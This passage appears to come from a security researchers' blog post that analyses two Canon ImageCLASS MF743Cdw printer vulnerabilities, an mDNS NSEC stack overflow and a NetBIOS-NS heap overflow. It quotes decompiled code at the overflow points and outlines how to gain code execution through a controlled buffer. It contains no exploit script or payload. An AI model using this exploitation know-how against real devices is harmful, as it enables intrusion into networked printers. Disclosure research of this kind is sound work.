Firmware.</p> <p><img src="/assets/img/blog/20231106/2.png" alt="" /></p> <h4 id="hp-collor-laserjet-pro-m479fdw">HP Collor LaserJet Pro M479fdw</h4> <ul> <li>OS - Linux Base</li> <li>ARMv7 32bit little-endian</li> </ul> <h2 id="vulnerability--exploitation">Vulnerability &amp; Exploitation</h2> <h3 id="canon-1">Canon</h3> <h4 id="mdns-cve-2023-0853">mDNS (CVE-2023-0853)</h4> <p>We found a stack overflow on mDNS. mDNS protocol resolves hostnames to IP address within small networks that do not include a local name server and are usually used for Apple and IoT devices.</p> <p>It is enabled on Canon ImageCLASS MF743Cdw(Version 11.04) by default.</p> <p>Before we look at the detail of the vulnerability we need to talk about mDNS Packet Structure.</p> <p>mDNS is based on the DNS packet format defined in RFC1035 Section 4 for both queries and responses. mDNS queries and responses utilize the DNS header format defined in RFC1035 with exceptions noted below:</p> <p><strong>The packet format:</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> +---------------------+ | Header | +---------------------+ | Question | the question for the name server +---------------------+ | Answer | RRs answering the question +---------------------+ | Authority | RRs pointing toward an authority +---------------------+ | Additional | RRs holding additional information +---------------------+ (diagram from https://www.ietf.org/rfc/rfc1035.txt) </code></pre></div></div> <p><strong>The header contains the following fields:</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1 1 1 1 1 1 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ID | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ |QR| Opcode |AA|TC|RD|RA| Z | RCODE | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | QDCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ANCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | NSCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ARCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ (diagram from https://www.ietf.org/rfc/rfc1035.txt) </code></pre></div></div> <p>The answer section contains RRs that answer the question.</p> <p><strong>Resource record format:</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1 1 1 1 1 1 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | | / / / NAME / | | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | TYPE | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | CLASS | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | TTL | | | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | RDLENGTH | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--| / RDATA / / / +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ (diagram from https://www.ietf.org/rfc/rfc1035.txt) </code></pre></div></div> <p>The RDATA section varies depending on the ‘type’. When type=NSEC, its format is as follows:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> The RDATA of the NSEC RR is as shown below: 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ / Next Domain Name / +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ / Type Bit Maps / +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (diagram from https://www.ietf.org/rfc/rfc4034.txt) </code></pre></div></div> <p>More details can reference to RFC6762.</p> <p>Other element is not important in this vulnerability, so we won’t explain more here. More detail can be found at <a href="https://datatracker.ietf.org/doc/rfc6762/">RFC6762</a>, <a href="https://datatracker.ietf.org/doc/rfc1035/">RFC1035</a> and <a href="https://datatracker.ietf.org/doc/rfc4034/">RFC4034</a>.</p> <p><strong>Where is the bug</strong></p> <p>When Canon ImageCLASS MF743Cdw is parsing the Answer field (type NSEC) in mDNS header, there is a stack overflow.</p> <p><img src="/assets/img/blog/20231106/3.jpg" alt="" /></p> <p>In the function <code class="language-plaintext highlighter-rouge">bnMdnsParseAnswers</code>, it will parse answer section.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">bnMdnsParseAnswers</span><span class="p">(</span> <span class="n">netbios_header</span> <span class="o">*</span><span class="n">mdns_packet</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="o">*</span><span class="n">ppayloadlen</span><span class="p">,</span> <span class="n">netbios_header</span> <span class="o">*</span><span class="n">pmdns_header</span><span class="p">,</span> <span class="n">_WORD</span> <span class="o">*</span><span class="n">anwser_rr</span><span class="p">,</span> <span class="n">rrlist</span> <span class="o">**</span><span class="n">payload</span><span class="p">,</span> <span class="n">_DWORD</span> <span class="o">*</span><span class="n">pinfo</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="kt">char</span> <span class="n">nsec_buf</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span> <span class="c1">// ------ fixed size on the stack</span> <span class="p">...</span> <span class="n">_mdns_packet</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">mdns_packet</span><span class="p">;</span> <span class="n">p_payloadlen</span> <span class="o">=</span> <span class="n">ppayloadlen</span><span class="p">;</span> <span class="n">p_mdns_header</span> <span class="o">=</span> <span class="n">pmdns_header</span><span class="p">;</span> <span class="n">anwser_cnt</span> <span class="o">=</span> <span class="n">anwser_rr</span><span class="p">;</span> <span class="n">v66</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">cur_ptr</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">mdns_packet</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="o">*</span><span class="n">pinfo</span><span class="p">];</span> <span class="n">v9</span> <span class="o">=</span> <span class="o">*</span><span class="n">payload</span><span class="p">;</span> <span class="n">v10</span> <span class="o">=</span> <span class="o">*</span><span class="n">payload</span><span class="p">;</span> <span class="k">do</span> <span class="p">{</span> <span class="n">v11</span> <span class="o">=</span> <span class="n">v10</span> <span class="o">==</span> <span class="mi">0</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v10</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v9</span> <span class="o">=</span> <span class="n">v10</span><span class="p">;</span> <span class="n">v10</span> <span class="o">=</span> <span class="p">(</span><span class="n">rrlist</span> <span class="o">*</span><span class="p">)</span><span class="n">v10</span><span class="o">-&gt;</span><span class="n">c</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">v6</span> <span class="o">=</span> <span class="n">aBnmdnsparseans</span><span class="p">;</span> <span class="n">v10</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v67</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">while</span> <span class="p">(</span> <span class="o">!</span><span class="n">v11</span> <span class="p">);</span> <span class="k">while</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)</span><span class="o">*</span><span class="n">anwser_cnt</span> <span class="o">&gt;</span> <span class="n">v67</span> <span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="k">if</span><span class="p">...</span> <span class="n">type</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)</span><span class="n">pname</span><span class="o">-&gt;</span><span class="n">type</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">type</span> <span class="o">==</span> <span class="mi">28</span> <span class="p">)</span> <span class="k">goto</span> <span class="n">LABEL_36</span><span class="p">;</span> <span class="k">if</span><span class="p">...</span> <span class="k">if</span><span class="p">...</span> <span class="k">if</span> <span class="p">(</span> <span class="n">type</span> <span class="o">!=</span> <span class="mh">0x21</span> <span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">type</span> <span class="o">!=</span> <span class="mi">47</span> <span class="p">)</span> <span class="c1">// NSEC</span> <span class="p">{</span> <span class="p">...</span> <span class="k">goto</span> <span class="n">LABEL_95</span><span class="p">;</span> <span class="p">}</span> <span class="n">v62</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v63</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">zeromemory</span><span class="p">(</span><span class="n">nsec_buf</span><span class="p">,</span> <span class="mi">256</span><span class="p">,</span> <span class="n">v19</span><span class="p">,</span> <span class="n">v20</span><span class="p">);</span> <span class="n">v47</span> <span class="o">=</span> <span class="n">bnMdnsMalloc</span><span class="p">(</span><span class="mi">8</span><span class="p">);</span> <span class="n">rrlist</span><span class="o">-&gt;</span><span class="n">pname</span><span class="o">-&gt;</span><span class="n">nsec</span> <span class="o">=</span> <span class="n">v47</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">v47</span> <span class="p">)</span> <span class="p">{</span> <span class="n">bnMdnsFreeRRLIST</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">rrlist</span><span class="p">);</span> <span class="n">v50</span> <span class="o">=</span> <span class="mi">2720</span><span class="p">;</span> <span class="nl">LABEL_76:</span> <span class="n">debugprintff</span><span class="p">(</span> <span class="mi">3610</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="s">"[bnjr] [%s] &lt;%s:%d&gt; bnMdnsParseAnswers error in malloc(NSEC)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="s">"IMP/mdns/common/tcBnMdnsMsg.c"</span><span class="p">,</span> <span class="n">v6</span><span class="p">,</span> <span class="n">v50</span><span class="p">);</span> <span class="k">return</span> <span class="mi">3</span><span class="p">;</span> <span class="p">}</span> <span class="n">maybe_realloc</span><span class="p">(</span><span class="n">v47</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span> <span class="n">nsec</span> <span class="o">=</span> <span class="n">rrlist</span><span class="o">-&gt;</span><span class="n">pname</span><span class="o">-&gt;</span><span class="n">nsec</span><span class="p">;</span> <span class="n">nsec_len</span> <span class="o">=</span> <span class="n">bnMdnsGetDecodedRRNameLen</span><span class="p">(</span><span class="n">cur_ptr</span><span class="p">,</span> <span class="o">*</span><span class="n">ppayloadlen</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">_mdns_packet</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dwbyte</span><span class="p">);</span> <span class="k">if</span><span class="p">...</span> <span class="k">if</span><span class="p">...</span> <span class="n">v51</span> <span class="o">=</span> <span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">bnMdnsMalloc</span><span class="p">(</span><span class="n">nsec_len</span><span class="p">);</span> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">nsec</span> <span class="o">=</span> <span class="n">v51</span><span class="p">;</span> <span class="k">if</span><span class="p">...</span> <span class="n">consume_label</span><span class="p">(</span><span class="n">cur_ptr</span><span class="p">,</span> <span class="o">*</span><span class="n">ppayloadlen</span><span class="p">,</span> <span class="n">_mdns_packet</span><span class="p">,</span> <span class="n">v51</span><span class="p">,</span> <span class="n">nsec_len</span><span class="p">);</span> <span class="n">v52</span> <span class="o">=</span> <span class="n">dwbyte</span><span class="p">;</span> <span class="n">v53</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">cur_ptr</span><span class="p">[</span><span class="n">dwbyte</span><span class="p">];</span> <span class="n">v54</span> <span class="o">=</span> <span class="o">*</span><span class="n">ppayloadlen</span> <span class="o">-</span> <span class="n">dwbyte</span><span class="p">;</span> <span class="o">*</span><span class="n">ppayloadlen</span> <span class="o">=</span> <span class="n">v54</span><span class="p">;</span> <span class="n">v55</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">v53</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span> <span class="n">v56</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="o">*</span><span class="n">v53</span><span class="p">;</span> <span class="n">nsec_</span> <span class="o">=</span> <span class="n">v53</span> <span class="o">+</span> <span class="mi">2</span><span class="p">;</span> <span class="o">*</span><span class="n">ppayloadlen</span> <span class="o">=</span> <span class="n">v54</span> <span class="o">-</span> <span class="mi">2</span><span class="p">;</span> <span class="n">v57</span> <span class="o">=</span> <span class="n">v56</span> <span class="o">|</span> <span class="p">(</span><span class="n">v55</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">);</span> <span class="n">nsec_len_</span> <span class="o">=</span> <span class="n">__rev16</span><span class="p">(</span><span class="n">v57</span><span class="p">);</span> <span class="k">if</span><span class="p">...</span> <span class="n">memcpy</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">nsec_buf</span><span class="p">,</span> <span class="n">nsec_</span><span class="p">,</span> <span class="n">nsec_len_</span><span class="p">,</span> <span class="n">v57</span><span class="p">);</span> <span class="c1">//-------- [1] stack overflow </span> <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">nsec_len_</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">nsec_buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="o">++</span><span class="n">j</span> <span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">j</span> <span class="o">==</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">nsec_buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v62</span> <span class="p">)</span> <span class="n">v63</span> <span class="o">=</span> <span class="mi">7</span> <span class="o">-</span> <span class="n">j</span> <span class="o">+</span> <span class="mi">8</span> <span class="o">*</span> <span class="n">i</span><span class="p">;</span> <span class="k">else</span> <span class="n">v62</span> <span class="o">=</span> <span class="mi">7</span> <span class="o">-</span> <span class="n">j</span> <span class="o">+</span> <span class="mi">8</span> <span class="o">*</span> <span class="n">i</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="o">*</span><span class="p">(</span><span class="n">_WORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">nsec</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">=</span> <span class="n">v62</span><span class="p">;</span> <span class="p">...</span> <span class="p">}</span> <span class="o">*</span><span class="n">pinfo</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">cur_ptr</span><span class="p">[</span><span class="o">-</span><span class="n">_mdns_packet</span> <span class="o">-</span> <span class="mh">0xC</span><span class="p">];</span> <span class="o">*</span><span class="n">anwser_cnt</span> <span class="o">-=</span> <span class="n">v66</span><span class="p">;</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>When it is parsing the NSEC(type 47) record, it does not check the length of the record. It will copy the data to a local buffer(<code class="language-plaintext highlighter-rouge">nsec_buf[256]</code>) at <code class="language-plaintext highlighter-rouge">[1]</code>, which leads to a stack buffer overflow.</p> <p><strong>Exploitation</strong></p> <p>We can construct an mDNS packet to trigger the stack overflow. It does not have Stack Guard, so we can overwrite the return address directly. It also does not implement DEP. We can overwrite the return address with a global buffer which we can control to run our shellcode.</p> <p>We finally chose BJNP session buffer as our target. It will copy our payload when we start a BJNP session.</p> <p><img src="/assets/img/blog/20231106/4.png" alt="" /></p> <p>We can run shellcode to do anything, such as modifying the website, changing the LCD screen, etc.</p> <h4 id="netbios-cve-2023-0854">NetBIOS (CVE-2023-0854)</h4> <p>We found a heap overflow on NetBIOS. NetBIOS is a protocol for Network Basic Input/Output System. It provides services related to the session layer of the OSI model allowing applications on separate computers to communicate over a local area network. . Canon implemented the NetBIOS daemon by themselves.</p> <p>It is enabled on Canon ImageCLASS MF743Cdw(Version 11.04) by default.</p> <p>NetBIOS provides three distinct services:</p> <ul> <li>Name service (NetBIOS-NS) for name registration and resolution.</li> <li>Datagram distribution service (NetBIOS-DGM) for connectionless communication.</li> <li>Session service (NetBIOS-SSN) for connection-oriented communication.</li> </ul> <p>We will focus on NetBIOS-NS (port 137).</p> <p>Before we look at the detail of the vulnerability we need to talk about NetBIOS-NS Packet Structure.</p> <p>NetBIOS-NS is based on the DNS packet format. It is defined in <a href="https://datatracker.ietf.org/doc/html/rfc1002">RFC1002</a> for both queries and responses. NetBIOS queries and responses utilize the NS header format defined in RFC1002 with exceptions noted below:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | NAME_TRN_ID | OPCODE | NM_FLAGS | RCODE | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | QDCOUNT | ANCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | NSCOUNT | ARCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (diagram from https://datatracker.ietf.org/doc/html/rfc1002) </code></pre></div></div> <p>The query will be placed after the header. The first element is QNAME which is a domain name represented as a sequence of labels, where each label consists of a length character followed by that number of characters. Other element is not important in this vulnerability, so we won’t explain more here. More details can be found at <a href="https://datatracker.ietf.org/doc/html/rfc1002">RFC1002</a>.</p> <p><strong>Where is the bug</strong></p> <p>When Canon ImageCLASS MF743Cdw is parsing the NetBIOS in NetBIOS packets, there is a heap overflow. The vulnerability is in <code class="language-plaintext highlighter-rouge">cmNetBiosParseName</code> function. We can trigger it from <code class="language-plaintext highlighter-rouge">ndNameProcessExternalMessage</code>.</p> <p>When NetBIOS service starts, it will initial <code class="language-plaintext highlighter-rouge">netbios_ns_buffer</code>. The buffer would be allocated <code class="language-plaintext highlighter-rouge">0xff</code> bytes from the heap.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">ndNameInit</span><span class="p">()</span> <span class="p">{</span> <span class="n">sub_41C47A20</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="s">"netcifsnqendapp/IMP/nq/ndnampro.c"</span><span class="p">,</span> <span class="mh">0x44ED3194</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mh">0x64u</span><span class="p">);</span> <span class="n">netbios_ns_buffer</span> <span class="o">=</span> <span class="n">calloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">);</span> <span class="p">...</span> <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>When parsing the NetBIOS-NS in NetBIOS packets, it will use <code class="language-plaintext highlighter-rouge">ndNameProcessExternalMessage</code> to process it.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">ndNameProcessExternalMessage</span><span class="p">(</span><span class="n">Adapter</span> <span class="o">*</span><span class="n">a1</span><span class="p">)</span> <span class="p">{</span> <span class="n">netbios_header</span> <span class="o">*</span><span class="n">packet</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">v3</span><span class="p">;</span> <span class="c1">// r6</span> <span class="kt">int</span> <span class="n">flag</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// r5</span> <span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">int</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// r4</span> <span class="kt">char</span> <span class="n">nbname</span><span class="p">[</span><span class="mi">40</span><span class="p">];</span> <span class="c1">// [sp+8h] [bp-28h] BYREF</span> <span class="n">sub_41C47A20</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="s">"netcifsnqendapp/IMP/nq/ndnampro.c"</span><span class="p">,</span> <span class="mh">0x44ED31AC</span><span class="p">,</span> <span class="mi">178</span><span class="p">,</span> <span class="mh">0x64u</span><span class="p">);</span> <span class="n">packet</span> <span class="o">=</span> <span class="p">(</span><span class="n">netbios_header</span> <span class="o">*</span><span class="p">)</span><span class="n">a1</span><span class="o">-&gt;</span><span class="n">packet</span><span class="p">;</span> <span class="n">LOWORD</span><span class="p">(</span><span class="n">a1</span><span class="o">-&gt;</span><span class="n">vvv</span><span class="p">)</span> <span class="o">=</span> <span class="n">LOBYTE</span><span class="p">(</span><span class="n">packet</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">HIBYTE</span><span class="p">(</span><span class="n">packet</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">);</span> <span class="n">v3</span> <span class="o">=</span> <span class="n">cmNetBiosParseName</span><span class="p">(</span><span class="n">packet</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="p">)</span><span class="n">packet</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">nbname</span><span class="p">,</span> <span class="n">netbios_ns_buffer</span><span class="p">,</span> <span class="mh">0xFFu</span><span class="p">);</span> <span class="c1">//---- [1]</span> <span class="c1">//heap overflow at netbios_ns_buffer </span> <span class="k">if</span><span class="p">...</span> <span class="n">flag</span> <span class="o">=</span> <span class="n">getname_query_flag</span><span class="p">((</span><span class="n">netbios_header</span> <span class="o">*</span><span class="p">)</span><span class="n">a1</span><span class="o">-&gt;</span><span class="n">packet</span><span class="p">);</span> <span class="n">v5</span> <span class="o">=</span> <span class="n">flag</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">flag</span> <span class="o">==</span> <span class="mh">0xA800</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v6</span> <span class="o">=</span> <span class="n">ndInternalNamePositiveRegistration</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">nbname</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">v3</span><span class="p">);</span> <span class="k">goto</span> <span class="n">LABEL_17</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span> <span class="n">flag</span> <span class="o">&gt;</span> <span class="mh">0xA800</span> <span class="p">)</span> <span class="p">{</span> <span class="k">switch</span> <span class="p">(</span> <span class="n">flag</span> <span class="p">)</span> <span class="p">{</span> <span class="k">case</span> <span class="mh">0xA801</span><span class="p">:</span> <span class="n">v6</span> <span class="o">=</span> <span class="n">ndInternalNameNegativeRegistration</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">nbname</span><span class="p">);</span> <span class="k">goto</span> <span class="n">LABEL_17</span><span class="p">;</span> <span class="p">...</span> <span class="p">}</span> <span class="k">goto</span> <span class="n">LABEL_14</span><span class="p">;</span> <span class="p">}</span> <span class="p">...</span> <span class="n">ndInternalNameNegativeQuery</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">a1</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">nbname</span><span class="p">);</span> <span class="n">v6</span> <span class="o">=</span> <span class="n">ndExternalNameNegativeQuery</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">a1</span><span class="p">,</span> <span class="n">nbname</span><span class="p">);</span> <span class="nl">LABEL_17:</span> <span class="n">v8</span> <span class="o">=</span> <span class="n">v6</span><span class="p">;</span> <span class="n">assset</span><span class="p">(</span><span class="s">"netcifsnqendapp/IMP/nq/ndnampro.c"</span><span class="p">,</span> <span class="mh">0x44ED31AC</span><span class="p">,</span> <span class="mi">238</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span> <span class="k">return</span> <span class="n">v8</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>At <code class="language-plaintext highlighter-rouge">[1]</code>, the function <code class="language-plaintext highlighter-rouge">cmNetBiosParseName</code> does not calculate the length of the domain name correctly. It will copy the domain name to <code class="language-plaintext highlighter-rouge">netbios_ns_buff</code>, which leads to a heap overflow.</p> <p>Let’s take a look at <code class="language-plaintext highlighter-rouge">cmNetBiosParseName</code> function.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="kr">__fastcall</span> <span class="nf">cmNetBiosParseName</span><span class="p">(</span> <span class="n">netbios_header</span> <span class="o">*</span><span class="n">netbios_packet</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">netbios_label</span><span class="p">,</span> <span class="kt">int</span> <span class="n">netbios_name</span><span class="p">,</span> <span class="n">_BYTE</span> <span class="o">*</span><span class="n">domain_name</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">maxlen</span><span class="p">)</span> <span class="p">{</span> <span class="kt">char</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// r9</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">v11</span><span class="p">;</span> <span class="c1">// r0</span> <span class="n">_BYTE</span> <span class="o">*</span><span class="n">v12</span><span class="p">;</span> <span class="c1">// r1</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">char</span> <span class="n">v15</span><span class="p">;</span> <span class="c1">// r3</span> <span class="kt">char</span> <span class="n">v16</span><span class="p">;</span> <span class="c1">// r2</span> <span class="kt">int</span> <span class="n">v17</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">v18</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v19</span><span class="p">;</span> <span class="c1">// r3</span> <span class="kt">char</span> <span class="o">*</span><span class="n">label_</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">labellen_</span><span class="p">;</span> <span class="c1">// r4</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">labellen</span><span class="p">;</span> <span class="c1">// t1</span> <span class="kt">char</span> <span class="o">*</span><span class="n">v23</span><span class="p">;</span> <span class="c1">// r5</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">next</span><span class="p">[</span><span class="mi">9</span><span class="p">];</span> <span class="c1">// [sp+4h] [bp-24h] BYREF</span> <span class="p">...</span> <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="n">v11</span> <span class="o">==</span> <span class="mh">0x20</span> <span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="n">v17</span> <span class="o">=</span> <span class="o">*</span><span class="n">next</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="n">next</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="p">)</span> <span class="n">v5</span> <span class="o">=</span> <span class="sc">'.'</span><span class="p">;</span> <span class="k">else</span> <span class="o">*</span><span class="n">domain_name</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v17</span> <span class="p">)</span> <span class="p">{</span> <span class="k">do</span> <span class="p">{</span> <span class="n">v18</span> <span class="o">=</span> <span class="n">resolveLabel</span><span class="p">(</span><span class="n">netbios_packet</span><span class="p">,</span> <span class="n">next</span><span class="p">);</span> <span class="n">labellen</span> <span class="o">=</span> <span class="o">*</span><span class="n">v18</span><span class="p">;</span> <span class="n">label_</span> <span class="o">=</span> <span 